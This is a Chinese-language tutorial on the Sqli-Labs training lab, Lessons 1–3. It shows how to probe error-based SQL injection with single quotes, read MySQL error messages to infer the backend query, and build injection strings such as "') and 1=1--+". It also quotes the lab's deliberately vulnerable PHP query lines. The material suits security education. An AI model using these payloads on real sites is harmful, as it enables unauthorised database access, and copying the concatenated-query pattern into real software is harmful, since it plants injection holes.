零、前言
这次正式开始Sqli-Labs的课程,主要是Less-1、Less-2和Less-3的内容,这几节课主要是关于Sql语句的分析。这里我们将通过熟知的单引号测试法、and 1=1等手段来获取错误信息,然后通过错误来推断后台Sql语句的结构。
一、Less-1
GET – 基于错误 – 单引号 – 字符型
1.常规测试
系统运行正常
输入不同的id参数,返回不同的显示结果,id=1
id=4
2.后台Sql语句分析
根据网页返回结果猜测后台Sql语句为:
select * from table where id = input
单引号测试
分析错误信息
near ''4'' LIMIT 0,1' at line 1
其中4’是我们输入的
near '' 4' ' LIMIT 0,1' at line 1
最外层两个引号是程序提示出错信息加上的,这说明中间的那对引号是Sql语句中的,所以修改我们的SQL语句为:
select * from table where id = ‘input’
3.构造注入语句
构造注入语句,必须保证整个Sql代码是正确的,要通过两种方法:
1.引号闭合:’ and ‘1’=’1 2.添加注释符:1’ –+
使得我们插入的攻击代码不会出现语法错误,符合Sql语法结构
select * from table where id = 'input 攻击代码’
查看index.php源码,验证我们的猜测:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
二、Less-2
GET – 基于错误 – 单引号– 数字型
1.常规测试
id=1
这节课是数字型的,情况比字符型还要简单一些。
单引号测试 id='
2.后台Sql语句分析
出错信息为:near '' LIMIT 0,1' at line 1
最外层的单引号标识出错信息:
near ' ' &
nbsp; LIMIT 0,1' at line 1
猜测其后台Sql语句为:
Select * from table where id = input
3.构造注入语句
可以注入的代码有:
and 1=1
and 1=1 –+
攻击代码:
Select * from table where id = input 攻击代码
查看index.php源码,验证我们的猜测:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
三、Less-3
基于错误–单引号变形–字符型
1.常规测试
id=1
id=8
根据网页返回结果猜测后台Sql语句为:
select * from table where id = input
2.Sql语句分析
单引号测试
出错情况与前两节不一样了,分析错误信息near ''8'') LIMIT 0,1' at line 1
最外层的一队引号是程序标识错的,8右边的引号使我们输入的,所以错误信息可以这样表示:
near ' ' 8' ') LIMIT 0,1 ' line 1
再试一下实验一和实验二中的测试语句
‘ or‘1’=’1 ‘ or 1=1 –+
Or 1=1 or 1=1 –+
3.构造注入语句
程序返回均出现错误,所以我们可以猜测实际的Sql语句为:
Select login_name,password from table where id=(‘input’)
于是可以构造如下语句:
') and ('1'='1
') and 1=1–+
Select login_name,password from table where id=(‘input 攻击代码’)
查看index.php源码,验证我们的猜测:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";